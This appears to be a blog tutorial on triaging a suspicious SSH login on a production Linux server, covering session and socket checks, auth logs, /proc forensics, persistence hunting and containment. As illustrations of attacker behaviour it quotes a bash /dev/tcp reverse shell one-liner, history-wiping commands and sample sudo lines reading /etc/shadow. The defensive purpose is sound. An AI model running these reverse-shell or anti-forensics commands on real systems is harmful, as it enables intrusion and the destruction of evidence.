From auth.log and utmp to /proc memory forensics and backdoor persistence: a battle-tested triage playbook for production engineers.
It is 2:14 AM. Your monitoring channel pings with a high-severity alert: an SSH session opened on your primary database replica from an IP address block in a country where your engineering team has zero presence.
Your heart rate spikes. Adrenaline floods your system.
Your immediate reflex might be to jump into the terminal, run kill -9 on the suspicious session, or pull the plug by rebooting the host.
Do not do that.
Rebooting or frantically terminating processes destroys volatile evidence. RAM vanishes. Sockets close. Deleted binary paths in /proc disappear. If the intruder has a rootkit or a persistent cron job waiting, a reboot simply hands control back to their backdoor while wiping the breadcrumbs you need to figure out what happened.
Take a breath. Keep the session alive for sixty seconds while you stabilize your footing.
Here is the exact step-by-step triage sequence I run through whenever a login smells wrong on a production Linux server.
1. The Cardinal Rule: Preserve Volatile Evidence First
Before typing a single diagnostic command, protect your own forensic trail.
When an attacker realizes you are watching, they clean up. They wipe .bash_history. They overwrite logs. They shred their tooling. If you run commands in your own interactive shell without logging them, you will struggle to reconstruct the timeline during the post-mortem.
Start by opening your own terminal and logging everything you type to an immutable text file with timing data:
script -t 2>~/triage-timing.log -a ~/triage-session.log
The script command records every keystroke, stdout character, and terminal escape sequence to triage-session.log. If you need to replay the exact commands to auditors or your team tomorrow morning, you have an unalterable record.
Next, prevent your own commands from polluting the system's global history or tipping off an intruder reading /dev/pts/*:
HISTCONTROL=ignorespace
export HISTCONTROL
Prefixing any command with a leading space now keeps it out of your current session's memory history.
Now you are ready to dig.
2. Who Is on the Box Right Now? Active Session Inspection
The first question is simple: is the attacker still connected, and what pseudo-terminal (pty) are they using?
Run the classic trio:
w
Sample output:
02:15:12 up 42 days, 3:14, 3 users, load average: 0.12, 0.08, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ubuntu pts/0 10.0.4.15 01:40 2.00s 0.04s 0.01s w
deploy pts/1 198.51.100.84 02:13 0.00s 0.18s 0.00s python3 -m http.server 8000
asep pts/2 10.0.2.22 02:14 1.00s 0.02s 0.02s -bash
Notice pts/1. The user deploy logged in one minute ago from public IP 198.51.100.84. They are currently running an inline Python HTTP server.
That is an immediate red flag. But do not stop at w.
The w command reads directly from /var/run/utmp. Clever intruders know how to bypass utmp entirely.
If an attacker connects using SSH without requesting a pseudo-terminal (for example, running ssh -T deploy@server /bin/bash), SSH spawns the shell with raw pipes instead of allocating a /dev/pts/ node. The sshd daemon does not write an entry to utmp.
Result? The attacker is actively running commands on your server, but w and who report zero evidence of their presence.
To catch hidden, pty-less SSH sessions, check the socket layer directly:
ss -tupn '( dport = :22 or sport = :22 )'
Look at the established TCP connections:
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
tcp ESTAB 0 0 10.0.1.50:22 10.0.4.15:52114 users:(("sshd",pid=14201,fd=4))
tcp ESTAB 0 0 10.0.1.50:22 198.51.100.84:48192 users:(("sshd",pid=14880,fd=4))
tcp ESTAB 0 0 10.0.1.50:22 203.0.113.19:39012 users:(("sshd",pid=15104,fd=4))
Look closely at the process column. PID 15104 has an established connection on port 22 from 203.0.113.19. Yet it never showed up under w.
That is a hidden non-interactive session. You just caught an attacker who thought they were invisible.
3. Tracing the Entry Vector: What Happened in the Logs?
Now that you have the remote IP and timestamps, you need to know how they crossed the threshold. Did they guess a password? Did they steal an SSH private key? Or did they exploit a local daemon?
On Debian, Ubuntu, and modern cloud images, authentication events live in /var/log/auth.log. On RHEL, Rocky, AlmaLinux, and Fedora, they live in /var/log/secure.
If your distro uses systemd journal exclusively, pull the SSH daemon unit:
journalctl -u ssh -u sshd -S "2026-09-22 01:00:00" --no-pager
Filter specifically for successful authentication events matching your suspect window:
grep -E "Accepted (publickey|password)" /var/log/auth.log | tail -n 25
Sample output:
Sep 22 02:13:41 db-prod-01 sshd[14880]: Accepted publickey for deploy from 198.51.100.84 port 48192 ssh2: RSA SHA256:4kK8s...
Sep 22 02:14:02 db-prod-01 sshd[15104]: Accepted password for backup from 203.0.113.19 port 39012 ssh2
This output tells you two critical facts:
The first session (14880) authenticated with an SSH public key. That means an authorized private key on someone's laptop was leaked, an old CI/CD credential was compromised, or someone injected a new key into /home/deploy/.ssh/authorized_keys.
The second session (15104) authenticated with a password. If password authentication is supposed to be globally disabled on your servers (as it should be), someone either altered /etc/ssh/sshd_config or created an account with PAM bypass privileges.
Next, check for privilege escalation. Did either user run sudo?
grep -E "sudo:.*COMMAND" /var/log/auth.log | tail -n 20
Look for lines like this:
Sep 22 02:14:15 db-prod-01 sudo: deploy : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Sep 22 02:14:30 db-prod-01 sudo: deploy : TTY=pts/1 ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/iptables -F
If you see /usr/bin/cat /etc/shadow or iptables -F, the attacker has root privileges and just flushed your firewall rules.
4. Dissecting the Process Tree with /proc Forensics
Never rely solely on ps aux. A basic rootkit or user-space library preload (LD_PRELOAD) can hook readdir() inside glibc to hide rogue process IDs from tools like ps and top.
The Linux /proc virtual filesystem is your ground truth. Every single running task has a directory at /proc/<PID>.
Take PID 14880 from our sshd socket discovery. Let us inspect its lineage using pstree:
pstree -p -s 14880
Output:
systemd(1)---sshd(982)---sshd(14880)---sshd(14888)---bash(14889)---python3(14950)
sshd spawned worker PID 14888, which dropped privileges to user deploy, launched bash (PID 14889), and then ran python3 (PID 14950).
Now inspect the running process directly from the kernel interface:
Check the Executable Binary on Disk
ls -l /proc/14950/exe
Output:
lrwxrwxrwx 1 deploy deploy 0 Sep 22 02:13 /proc/14950/exe -> /usr/bin/python3.10
If you ever see (deleted) appended to the binary path (for example, /tmp/.kworker (deleted)), the attacker dropped an ELF executable onto disk, launched it into memory, and immediately unlinked the file so scanners would not find it.
If the file is marked (deleted), you can copy the entire binary right out of kernel memory for reverse engineering:
cp /proc/14950/exe /tmp/recovered_malware.bin
That single command recovers the original compiled binary before it is lost.
Inspect the Current Working Directory
ls -l /proc/14950/cwd
Output:
lrwxrwxrwx 1 deploy deploy 0 Sep 22 02:13 /proc/14950/cwd -> /dev/shm/.cache
Legitimate production daemons rarely run out of /dev/shm or /tmp. Hidden dot-directories in shared memory mounts are textbook staging grounds for backdoors, cryptominers, and pivot scripts.
Read the Memory Environment Variables
strings /proc/14950/environ | head -n 25
Environment variables reveal leaked secrets. You will see what AWS access keys, database passwords, or shell parameters were passed into the process at execution time.
Check Open File Descriptors and Network Sockets
ls -l /proc/14950/fd
Output:
lrwxr-xr-x 1 deploy deploy 64 Sep 22 02:15 0 -> /dev/pts/1
lrwxr-xr-x 1 deploy deploy 64 Sep 22 02:15 1 -> /dev/pts/1
lrwxr-xr-x 1 deploy deploy 64 Sep 22 02:15 2 -> /dev/pts/1
lrwxr-xr-x 1 deploy deploy 64 Sep 22 02:15 3 -> socket:[89210]
lrwxr-xr-x 1 deploy deploy 64 Sep 22 02:15 4 -> /dev/shm/.cache/data.tar.gz
File descriptor 3 is an open network socket (89210). File descriptor 4 is an open archive in /dev/shm/.cache. The intruder is packaging data and preparing to exfiltrate it over the network.
5. Catching Stealthy Outbound Reverse Shells
Intruders often use their initial SSH session to plant an outbound reverse shell. Once established, they can disconnect from SSH entirely while maintaining an interactive prompt over raw TCP.
A reverse shell connects outbound from your server to the attacker's listener on port 443, 80, or 8080. Because the connection is outbound, strict inbound firewalls will not block it.
Audit all non-local connections immediately:
ss -tupne
Scan for processes where standard input and output (descriptors 0, 1, and 2) are wired to a network socket instead of a terminal:
lsof -i -P -n | grep -E "bash|sh|python|perl|nc|socat"
Sample output:
sh 15201 deploy 0u IPv4 92410 0t0 TCP 10.0.1.50:54210->198.51.100.84:4444 (ESTABLISHED)
sh 15201 deploy 1u IPv4 92410 0t0 TCP 10.0.1.50:54210->198.51.100.84:4444 (ESTABLISHED)
sh 15201 deploy 2u IPv4 92410 0t0 TCP 10.0.1.50:54210->198.51.100.84:4444 (ESTABLISHED)
Look at file descriptors 0u, 1u, and 2u. All three point directly to a single TCP socket connecting to remote port 4444.
This is a classic reverse shell. The attacker ran something like sh -i >& /dev/tcp/198.51.100.84/4444 0>&1.
Any keystroke the attacker types on their remote machine executes straight inside sh on your server.
6. File System Timeline: What Was Created or Touched?
Now you know who logged in and what processes are running. Next, you need a precise timeline of every file dropped, modified, or compiled on disk around the time of the breach.
Linux keeps three primary timestamps for files:
- mtime: Data modification time.
- atime: File access time (often disabled or lazy on modern servers with
noatime). - ctime: Metadata status change time (permissions, ownership, file renames).
Attackers frequently use touch -r or touch -d to modify mtime so their backdoor matches the dates of surrounding system files. This trick is called timestomping.
An attacker cannot easily forge ctime without resetting the system clock or editing raw filesystem blocks. Every time permissions change, inodes update, or files are created, the kernel updates ctime automatically.
Run a targeted search for files whose metadata changed in the last 120 minutes:
find / -ctime -120 -type f 2>/dev/null | grep -v -E "^/(proc|sys|run|dev)"
Sample results:
/home/deploy/.ssh/authorized_keys
/etc/cron.d/sync-job
/tmp/.X11-unix/kworker
/dev/shm/.cache/miner.cfg
Look at those paths. In less than ten seconds, you have pinpointed:
- An edited
authorized_keysfile. - A new scheduled cron job.
- Two disguised binaries in
/tmpand/dev/shm.
Inspect the newly added key inside the user's directory:
stat /home/deploy/.ssh/authorized_keys
Check the exact timestamp down to the nanosecond, then review the contents:
cat /home/deploy/.ssh/authorized_keys
If you spot an unrecognized key with comments like root@kali or a random hex hash, copy it to your evidence folder and check when it was placed.
7. Checking the Shell History (And Why Attackers Bypass It)
Checking .bash_history is standard procedure. Run it:
tail -n 50 /home/deploy/.bash_history
Most experienced attackers will not leave neat traces in .bash_history. They run:
unset HISTFILE
export HISTSIZE=0
set +o history
Or they launch their shell with kill -9 $$ when leaving, forcing the process to terminate before bash flushes its memory buffer to disk on normal exit.
If .bash_history is empty or truncated, do not panic. If the attacker's shell process is still active in memory, you can extract their typed commands straight out of process memory:
strings /proc/14889/mem 2>/dev/null | grep -E "chmod|wget|curl|git|ssh|sudo|base64" | tail -n 30
Because bash keeps recent command strings in heap buffers, scanning memory with strings often recovers the very commands the intruder thought they hid.
8. Hunting Persistence: Where Attackers Hide for Day Two
Intruders know their active session might get caught. Their primary objective during the first five minutes is establishing persistence.
If you terminate their shell without cleaning out their persistence mechanisms, they will regain access thirty minutes later.
Check these four common persistence vectors:
Vector 1: Scheduled Tasks and Timers
Inspect system cron tables and user crontabs:
crontab -l -u deploy
ls -la /etc/cron.* /etc/crontab /var/spool/cron/crontabs/
Check for systemd timers that masquerade as system maintenance jobs:
systemctl list-timers --all
Look for newly created service files in user-writable paths:
ls -lt /etc/systemd/system/ /lib/systemd/system/ | head -n 15
Vector 2: User Account Manipulation
Check if the intruder created a new user or modified existing accounts:
tail -n 10 /etc/passwd
Check for accounts with UID 0 (root-equivalent accounts):
awk -F: '($3 == 0) {print $1}' /etc/passwd
Only root should appear in that list. If you see toor, admin, or system_sync with UID 0, an attacker created an auxiliary root account.
Vector 3: Profile and Shell Startup Scripts
Attackers frequently append malicious aliases or reverse shell loops into shell startup profiles. Whenever an administrator logs in, the script runs automatically.
Inspect:
/etc/profile/etc/profile.d/*.sh/etc/bash.bashrc~/.bashrc~/.bash_profile
Look for trailing base64 payloads, obfuscated curls, or unexpected function definitions at the bottom of these files.
Vector 4: Dynamic Linker Hijacking
Inspect /etc/ld.so.preload:
cat /etc/ld.so.preload 2>/dev/null
On clean systems, /etc/ld.so.preload is usually non-existent or empty.
If it points to a shared object library (for example, /lib/x86_64-linux-gnu/libpam_auth.so.2), every single dynamically linked binary on the server loads that library before running. This is how user-space rootkits hook system calls to hide files, processes, and network sockets from tools like ls, ps, and netstat.
9. Freezing the Threat Without Rebooting
Once you have identified the suspicious PIDs and documented their open files, you must contain the threat.
Never start with kill -9.
A kill -9 (SIGKILL) terminates the process instantly. The operating system frees memory pages, closes sockets, and tears down the kernel file descriptor table. Any unwritten logs or memory-resident payload strings are lost forever.
Instead, freeze the process in its tracks with SIGSTOP:
kill -STOP 14889 14950 15201
SIGSTOP pauses execution immediately. The process cannot execute another CPU instruction. It cannot run a self-destruct script. It cannot delete files from disk.
Yet all memory pages, open sockets, and file handles remain intact in /proc.
With the processes frozen, dump their complete memory footprint to disk for offline analysis:
gcore -o /tmp/proc_dump_14950 14950
Now you have an exact RAM snapshot of the malware.
Once the memory dump finishes, sever the network connections by cutting the remote attacker's IP at the packet filter level:
iptables -I INPUT -s 198.51.100.84 -j DROP
iptables -I OUTPUT -d 198.51.100.84 -j DROP
Now that the session is frozen and isolated, terminate the malicious processes cleanly:
kill -KILL 14889 14950 15201
Revoke the compromised user's active login privileges immediately:
passwd -l deploy
pkill -u deploy
Delete the compromised public keys from ~/.ssh/authorized_keys and cycle all credentials across your fleet.
10. Exactly One Surprising Fact: The 55-Year Legacy of utmp
Did you know that the /var/run/utmp binary file format used by w, who, and last has remained fundamentally unchanged since Version 1 Unix in 1971?
The Linux kernel does not manage utmp. It is purely a user-space convention maintained by login, sshd, and PAM modules.
Every record in utmp is a fixed-size 384-byte C structure (struct utmp in <utmp.h>). Because it was designed in an era before modern security auditing, it suffers from severe design limitations:
- Usernames are truncated to 32 characters.
- Hostnames longer than 256 characters get cut off.
- Timestamps are stored as 32-bit integers, which makes legacy
utmpsystems vulnerable to the Year 2038 problem. - Any program running without a tty allocation skips
utmpentirely.
This ancient architecture is why systemd created sd-login and modern logging mechanisms. Relying on w to detect modern intrusion is trusting a logging format designed for teletype terminals in 1971.
11. Fast Triage Cheatsheet: The 60-Second Snapshot
When an alert lands and every second counts, here is the exact script I run to grab a clean snapshot of the system state before touching anything else:
#!/usr/bin/env bash
# Quick volatile evidence collector
SNAPDIR="/tmp/triage_$(date +%s)"
mkdir -p "$SNAPDIR"
# 1. Capture active users and terminals
w > "$SNAPDIR/w.txt"
who -a > "$SNAPDIR/who.txt"
last -n 25 > "$SNAPDIR/last.txt"
# 2. Capture established network sockets with PIDs
ss -tupne > "$SNAPDIR/sockets.txt"
# 3. Capture process tree
ps auxf > "$SNAPDIR/ps_tree.txt"
# 4. Capture recent auth events
tail -n 200 /var/log/auth.log > "$SNAPDIR/recent_auth.log" 2>/dev/null || \
journalctl -u ssh -S -1h --no-pager > "$SNAPDIR/recent_auth.log"
# 5. Capture files modified in the last hour
find / -mmin -60 -type f 2>/dev/null | grep -v -E "^/(proc|sys|run|dev)" > "$SNAPDIR/modified_files.txt"
echo "Volatile evidence saved to: $SNAPDIR"
Keep this script on your bastion host or in your automation runbooks. When an incident occurs, running this takes two seconds and saves you from losing critical evidence.
Wrapping Up
A suspicious login on a production Linux server is stressful. But panic is the enemy of forensics.
Follow the evidence down through the layers. Start at the network sockets, verify the authentication logs, track the process lineage in /proc, hunt for dropped files with ctime, and freeze processes with SIGSTOP before terminating them.
Once the host is stabilized, remember the golden rule of production incident response: if an attacker gained root on a server, do not attempt to patch and clean it. Treat the operating system as permanently untrusted. Rebuild the instance from known-good Infrastructure as Code, deploy clean containers, and rotate all secrets across your environment.
Have you ever caught a suspicious login or hidden reverse shell on one of your servers? What was the first command you ran?
If this breakdown saved you hours of debugging or gave you something practical to use in production, consider buying me a coffee. Your support directly fuels independent, zero-fluff Linux and DevOps technical guides.
About the Author
Asep Sayyad is a Linux and DevOps engineer passionate about Linux administration, automation, cloud technologies, containers, and open-source software. He enjoys solving real-world infrastructure challenges and sharing practical knowledge through in-depth technical articles, tutorials, and hands-on guides.
His goal is to help aspiring and experienced engineers build stronger Linux and DevOps skills with content focused on real production scenarios rather than theory alone.
Connect with Me
- Portfolio: asepsayyad007.in
- Blog: asepsayyad007.in/blogs
- GitHub: github.com/asepsayyad007
- LinkedIn: linkedin.com/in/asepsayyad
- Medium: asepsayyad007.medium.com
- Support: buymeacoffee.com/asepsayyad007
Enjoyed this article?
If this guide saved you hours of debugging or gave you something practical for production, consider:
- Buying me a coffee: Your support directly fuels independent, zero-fluff Linux and DevOps engineering breakdowns.
- Starring my open-source projects on GitHub.
- Sharing this article with fellow Linux and DevOps engineers.
You can also follow me for more practical content on Linux, DevOps, Cloud, Containers, Automation, and Open Source. Thanks for reading, and enjoy your learning!
© 2026 Asep Sayyad
Top comments (0)